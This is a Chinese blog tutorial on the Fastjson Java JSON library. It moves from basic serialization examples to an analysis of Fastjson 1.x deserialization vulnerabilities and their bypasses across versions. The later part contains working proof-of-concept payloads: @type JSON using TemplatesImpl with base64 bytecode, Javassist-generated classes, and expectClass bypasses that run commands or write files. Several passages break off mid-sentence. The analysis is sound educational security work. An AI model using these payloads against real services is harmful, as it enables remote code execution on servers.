Fastjson
快来分享你的内容吧~
不是,解析个JSON你给我弹出个计算器?
大家好,我是小顾,是一名Java开发者。在实际的项目中,我们会经常用到JSON格式的数据来和前端交互,还有一些字符串转JSON,JSON转字符串的场景。现在Java有很多成熟的JSON工具,比如Gson,Jackson等,不知道你们是用什么JSON解析工具呢?我上家公司用了是Fastjosn,这个工具是阿里巴巴开源的一个高性能JSON解析库,是阿里的温少以一己之力开发的,通过库的名称可以知道,这个工具是以快著称。它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 ## 前言 `fastjson` 网上的教程一大堆,那具体是怎么用的呢,下面我来整理一下基础的用法。 ### 引入依赖 要使用fastjson,需要在maven项目里的pom文件中添加这个库的依赖。 ```xml <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>x.x.x</version> </dependency> ``` 具体`Maven`的各个依赖的详细信息我们可以在这个网站上面查得到: [https://mvnrepository.com/artifact/com.alibaba/fastjson](https://mvnrepository.com/artifact/com.alibaba/fastjson) 如果要使用最新的v2版本,可以使用fastjson2: [https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2](https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2) ### 简单的demo #### 对象序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将对象转为JSON字符串 User user = new User(); user.setId(1L); user.setName("gulihua"); user.setPassword("12345678"); System.out.println(JSON.toJSONString(user)); } @Data public static class User { private Long id; private String name; private String password; } } ``` 这段代码就是将一个 `User` 对象转换为 JSON 格式的数据。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/UyW9hnkD5ZwL5QjV.webp" alt="img](![image" width="100%" /> #### 对象反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将JSON字符串解析为Java对象 String jsonString = "{\"id\":2,\"name\":\"xiaogu\",\"password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data public static class User { private Long id; private String name; private String password; } } ``` 这段代码是将 JSON 字符串解析为 `User` 对象。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/1VSfMFNAAshTfVFW.webp" alt="img](![image" width="100%" /> #### 集合序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { List<User> userList = new ArrayList<>(); userList.add(new User(1L, "gulihua", "123456")); userList.add(new User(2L, "xiaogu", "11111111")); System.out.println(JSON.toJSONString(userList)); } @Data @AllArgsConstructor public static class User { private Long id; private String name; private String password; } } ``` 以上的代码就是新建了两个 `User` 对象,并且将它们添加到 `userList`集合中,然后转换成JSON 数组的字符串,下面是输出结果: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TO2MQh4It9zT1DFT.webp" alt="img](![image" width="100%" /> #### 集合反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String arr = "[{\"id\":1,\"name\":\"gulihua\",\"password\":\"123456\"},{\"id\":2,\"name\":\"xiaogu\",\"password\":\"11111111\"}]"; List<User> userList = JSON.parseArray(arr, User.class); System.out.println(userList); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private String password; } } ``` 上面的代码是将一个JSON数组的字符串转化为 `User` 集合列表,输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/jFlo9EcbQznc6JG8.webp" alt="img](、Map 和 Collection 类型,比如Atomic 类型:调用字段或方法返回的对象的 set 方法更新值,Map 类型:将传入值中的所有键值对合并到目标 Map,Collection 类型:将传入值的所有元素添加到目标 Collection。当字段不属于上述特殊类型时,通过 field.set() 或 method.invoke() 直接通过反射方式设置值。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/k6nWi9GuzbdpS8iC.webp" alt="img](![image" width="100%" /> 那么问题来了,如果对象里的字段和JSON里的字段名称不一样怎么办呢,不要慌,有一个我们可以通过一个 `@JSONField`注解来指定对应的映射关系。可以看下下面的demo: ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String jsonString = "{\"user_id\":2,\"user_name\":\"xiaogu\",\"user_password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { @JSONField(name = "user_id") private Long id; @JSONField(name = "user_name") private String name; @JSONField(name = "user_password") private String password; } } ``` 通过代码示例可以看到,如果字段不一样,直接通过 `@JSONField(name = "JSON字段名称")` 来映射对象和JSON字段的关系。 相关的代码: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dyaHNQG85tFauf6Z.webp" alt="img](![image" width="100%" /> 其实这个`build`方法的主要功能就是解析`bean类`的结构信息,遍历类的所有字段,包括私有字段和公共字段。如果字段有 `@JSONField` 注解,优先使用注解指定的名称和序列化特性。它也支持链接结构的build方法,如果有 `@JSONPOJOBuilder` 注解,就会提取 `buildMethod`,然后解析以特定前缀(如 `with`)开头的链式方法。它会识别以 `set` 开头的方法,将其映射为 JSON 属性。并支持集合、`Atomic` 类型字段的只读解析。 ## 起因 我们知道,fastjson 主要功能就是JSON字符串和bean的序列化、反序列化,但是它并没有使用jdk自带的序列化机制,而是自己实现了一套机制。对JSON来说,要想把Java对象转成JSON,要么是基于对象的属性,要么就是基于`get/set`方法。上面的代码分析中讲到,JSON转对象的时候,fastjson 会遍历所有的`set`方法,同理,在Java对象转JSON的时候,它会遍历所有的`get`的方法。而像其他的JSON库并不是这样写的,比如`Gson`,他是通过反射遍历该类中的所有属性,并把其值序列化成JSON。 我们首先看一个示例,我们定义了一个`User` 对象,里面有一个`Hobbies`类型的`hobbies`属性,这个`Hobbies`类型其实是一个自定义的接口。 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private Hobbies hobbies; } public interface Hobbies { } @Data @AllArgsConstructor @NoArgsConstructor public static class football implements Hobbies { private String club; } } ``` 接着,我们把他序列化一下: ```java public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user)); } ``` 当我们要对`User`进行序列化的时候,fastjson会扫描所有的的`get`方法,即找到`getId`、`getName`和`getHobbies`这时候就会将`id`、`name`、`hobbies`两个字段的值序列化到JSON字符串中,输出如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TkzmEeyu0Ikfodgc.webp" alt="img](![image" width="100%" /> 那么问题来了,这段JSON字符串能够成功的反序列化吗?如果能`hobbies`字段又被反序列化成什么呢,因为`hobbies`定义的是一个接口,反序列化时,它会反序列化成什么对象呢?试一下: ```java public static void main(String[] args) { String str = "{\"hobbies\":{\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(str, User.class); System.out.println(user); } ``` 输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PP9eJTlykHTmtT9J.webp" alt="img](![image" width="100%" /> 可以看到,`hobbies`字段并没有值。所以,当一个类中包含了一个接口的时候,在使用fastjson进行序列化的时候,会将实现的类型抹去,只保留接口的类型,使得反序列化时无法拿到原始类型。那如何去解决呢?那就是把原始类型记录下来不就行了,fastjson 里有一个序列化的配置`SerializerFeature.WriteClassName`可以记录原始类型: ```java public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName)); } ``` 输出JSON字符串结果 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/gvuEbnV5tYeXHQK3.webp" alt="img](![image" width="100%" /> 可以看到,JSON字符串多出来个`@type`字段,值是接口原始类型的全类目,这样做的好处是方便在反序列化的时候指定具体的类型。试一下反序列化: ```java public static void main(String[] args) { String json = "{\"@type\":\"org.example.JSONTest$User\",\"hobbies\":{\"@type\":\"org.example.JSONTest$football\",\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(json, User.class); System.out.println(user); } ``` 输出的对象: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/I0UzeQa7iLgPGoki.webp" alt="img]( throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } public static void main(String[] args) throws Exception { String s = "{\"@type\":\"org.example.OpenCalculator$Calculator\"}"; ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(s, Object.class); } } ``` 不是,我解析个JSON你咋给我弹出个计算器? <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/wOqAH3x9REEn9yGW.webp" alt="img](的权限,并能够在目标系统上运行任意命令。 我们来打个断点调试下,看下为什么会这样: 过程和上面类似,它会根据类型获取反序列化器,然后用反序列化器进行反序列化操作。通过断点可以看到,获取到的反序列化器是`FastjsonASMDeserializer`,这个序列化器通过`ASM机制`生成的临时代码源码是看不到的,那么什么是`ASM`呢,`ASM` 是一个强大的 Java 字节码操作框架,它可以灵活地动态生成一个Java 类,而无需手动编写文件。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/IBIcV4OEBP0VCLYW.webp" alt="img](`方法,这是用于获取当前 Java 虚拟机 (JVM) 的运行时环境实例,通过这个实例,开发者可以访问和控制与 JVM 相关的一些底层操作,如内存管理、运行外部程序、垃圾回收等等。比如打开计算器的命令`java.lang.Runtime.getRuntime().exec("open -a Calculator");` 但是这段程序只能在有`org.example.OpenCalculator$Calculator`类的程序上运行,要想在服务器上执行一些命令,需要在服务器上动态生成一个类并加载。 我们先介绍一下`ClassLoader`,它是 Java 虚拟机 (JVM) 中一个核心组件,用于动态加载类文件。它将 `.class` 文件加载到 JVM 中,供程序运行时使用。`ClassLoader` 提供了一种灵活机制,使得 Java 可以支持动态加载和运行代码。里面有一个方法`defineClass`,这个方法是用于将字节码数据转换为 `Class` 对象。这是实现自定义类加载器的重要方法,可以绕过默认的双亲委派模型,实现自定义的类加载逻辑。但是它是`protected`访问权限,我们可以通过反射的方式修改权限,实现用它来加载我们的字节码文件。 我们先把刚刚的`Calculator`类提取出来,然后运行`javac Calculator.java`,编译成`.class`文件。 ```java /** * @author gulihua * @Description * @date 2024-12-12 15:40 */ public class Calculator { public Calculator() throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } ``` 然后将`.class`文件字节数组生成base64字符串。 ```java yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg== ``` 然后运行 ```java public static void main(String[] args) throws Exception{ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg=="); Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calculator", code, 0, code.length); yyds.newInstance(); } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/zi35tM85soKyX4BV.webp" alt="img]( throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 编译成`.class`文件,`base64`一下: ```java public static void main(String[] args) throws Exception { String classBase64 = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA9DYWxjdWxhdG9yLmphdmEMAAcACAcAHAwAHQAeAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAfACABAApDYWxjdWxhdG9yAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABoACwAAAAQAAQAPAAEAEQAAAAIAEg=="; try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Test'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/D0QGDighewiP6ArO.webp" alt="img](![image" width="100%" /> 再进行升级改造下,我们刚刚都是手动写一个`Calculator`类,然后手动编译,这个类其实也可以动态生成,我们可以利用一个开源的 Java 字节码操作库`javassist`来动态生成一个计算器类。 引入包: ```xml <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> ``` 通常我们需要将`.java文件`使用`javac命令`编译成`.class文件`才能正常执行,`javasist`是一个处理字节码的类库,它提供了简单易用的API,能够动态生成或修改`class字节码`文件,与 ASM 等其他字节码框架相比,`Javassist` 更加高层次,操作起来更接近于直接操作 Java 源代码。现在来简单学习一下它的常用用法: Javassist中最为重要的是`ClassPool`、`CtClass`、`CtMethod`、`CtField以及CtConstructor`这几类。 CtClass(编译时类): CtClass 是 Javassist 中用于表示 Java 类的核心对象,它可以用来创建、修改或操作一个类的结构和方法。 ClassPool(类池):ClassPool 是一个容器,存储和管理所有 CtClass 对象的实例。它类似一个缓存系统,用来加载和存储类的定义。 CtMethod(编译时方法):CtMethod 用于表示类中的方法,支持动态添加、修改和删除。 CtField(编译时字段): CtField 用于表示类中的字段,可以动态添加或修改字段。 CtConstructor(编译时构造器):CtConstructor 用于表示类中的构造器,可以动态添加或修改构造方法。 使用方法: ```java public static void main(String[] args) throws Exception { // 动态创建类 ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Calculator"); // 定义类的初始化块插入代码 String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); // 设置类名 String randomClassName = "Calculator"; cc.setName(randomClassName); // 设置父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); // 转位字节数组 byte[] bytes = cc.toBytecode(); String classBase64 = Base64.getEncoder().encodeToString(bytes); try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Calculator'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } ``` 执行,成功弹出~ <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/njYRp1zL7xDTYqhb.webp" alt="img](`方法,如果没有开启`autoType`,就先判断类名在不在黑名单中,如果在黑名单里,就直接抛出异常。然后再去匹配白名单,如果在就用`TypeUtils.loadClass`加载。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/X82Lql1p2Yfy0dJk.webp" alt="img](有的版本`AutoType` 必须要开启; 2)基于`JNDI+RMI`或`JDNI+LADP`进行漏洞攻击,会有一定的JDK版本的限制; 3)一些调用链还需要依赖第三方库,有的项目中可能不会用到这些。 不过感兴趣的同学也可以自已试下,看能不能注入进去。我这里也不打算详细说了,因为我也没有复现出来哈哈,可能是`JDK`版本的问题。其实原理都是一样的,看源码,找注入点。 #### 版本 1.2.42 在版本`1.2.42`中,在`ParserConfig.java`中将黑名单的类变成了hash值,应该防止知道类名而进行绕过。不过这些类名的hash都是可以爆破的,目前大部分的内容都已经被爆破出来了。 项目地址: [GitHub - LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist) <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dBu2InSfxiyi1JOu.webp" alt="img](`expectClassFlag`不为null时不能为以下几个类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/LZjdQOrO5BDk8myl.webp" alt="img](不在黑名单里的,但在白名单里的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/6Yt4uKzuYz5ucSVH.webp" alt="img]( 我们可以看到`Exception`类在缓存`mapping`里,因此我们可以构建一个异常类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PoETLhh7uoQXpGBr.webp" alt="img](![image" width="100%" /> ```java public class CalcException extends Exception { private String command; public void setCommand(String command) { this.command = command; } @Override public String getMessage() { try { Runtime.getRuntime().exec(this.command); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } } public static void main(String[] args) { String a = " {\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\": \"org.example.CalcException\",\n" + " \"command\": \"open -a Calculator\"\n" + " }"; System.out.println(a); System.out.println(JSONObject.parse(a)); } ``` 在`DefaultJSONParser.parseObject`里,检测到`key`是`@type`,然后会进行安全检测。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ikoPl3DxJaQw3w1O.webp" alt="img]( 我们可以看下`JavaBeanDeserializer#deserialze()`方法,其实它的逻辑和`ThrowableDeserializer#deserialze()`是一样的,都是指定个`expectClass`绕过安全检测。网上用的比较多的类就是`AutoCloseable`,因为它也是在`TypeUtils#mappings`缓存中,并且它的子类比较多,可操作性比较大。我们可以用`FileOutputStream`类作为其实现类。 ```java { "@type": "java.lang.AutoCloseable", "@type": "java.io.FileOutputStream", "file": "/Users/gulihua/Downloads/1/2/test.txt", "append": "false" } ``` 可以看到,文件被创建了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/08P3WI0YBsylLRbs.webp" alt="img](`去找构造方法的参数签名信息,`JDK 1.8.0_40`版本是没有这些信息的,所以报错了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/tLBCGpDYrO52ndw4.webp" alt="img](这个类不在`Fastjson 1.2.68`的黑名单中 2)这个类实现了`java.lang.AutoCloseable`接口 3)保留`LocalVariableTable`参数签名信息 肯定是有一些第三方库是满足的,时间有限,我这里就不去尝试了,感兴趣的同学可以去尝试下。 ## 总结 以上就是一些`fastjson`比较知名的漏洞、修复、绕过的过程, 虽然在`fastjson v1`中有很多的漏洞,现在`fastjson v2`重构了`fastjson`,历史版本中存在的漏洞在新版本中均已修复,在安全性上有了很大的提升,我们在实际的项目中可以使用比较新的稳定版本。 我在写这篇文章时,参考了大量的资料,也读了关键的源码,学习到了很多的知识。`Fastjson`自己定义了很多序列化类,并且使用`ASM`技术、反射、使用缓存,并且用了很多的设计模式,并且在算法上也有优化,这个框架的核心就是`Fast`,在序列号和反序列化的效率比其他的库有一定的提升。 我在学习其他大佬写的漏洞分析文章时,觉得他们实在是厉害,对这些发现利用链的大佬们充满由衷的敬佩,不同版本之间的漏洞--修复-绕过-再修复展示了开发者和黑客们的攻防较量,实在是精彩 ~ ## 参考感谢 [https://github.com/alibaba/fastjson/releases](https://github.com/alibaba/fastjson/releases) [https://github.com/alibaba/fastjson/wiki/security\_update\_20200601](https://github.com/alibaba/fastjson/wiki/security_update_20200601) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html) [https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) [https://www.cnblogs.com/zpchcbd/p/14969606.html](https://www.cnblogs.com/zpchcbd/p/14969606.html) [https://www.cnblogs.com/nice0e3/p/14601670.html](https://www.cnblogs.com/nice0e3/p/14601670.html) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html#reference) [https://www.cnblogs.com/nice0e3/p/14776043.html](https://www.cnblogs.com/nice0e3/p/14776043.html) [https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/](https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/) [https://zhuanlan.zhihu.com/p/544463507](https://zhuanlan.zhihu.com/p/544463507) [https://www.freebuf.com/vuls/178012.html](https://www.freebuf.com/vuls/178012.html) [https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%BA%8C)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/](https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96\(%E4%BA%8C\)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/) [https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA](https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA) [http://scz.617.cn:8/web/202008100900.txt](http://scz.617.cn:8/web/202008100900.txt) [http://scz.617.cn:8/web/202008111715.txt](http://scz.617.cn:8/web/202008111715.txt) [https://github.com/LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist)

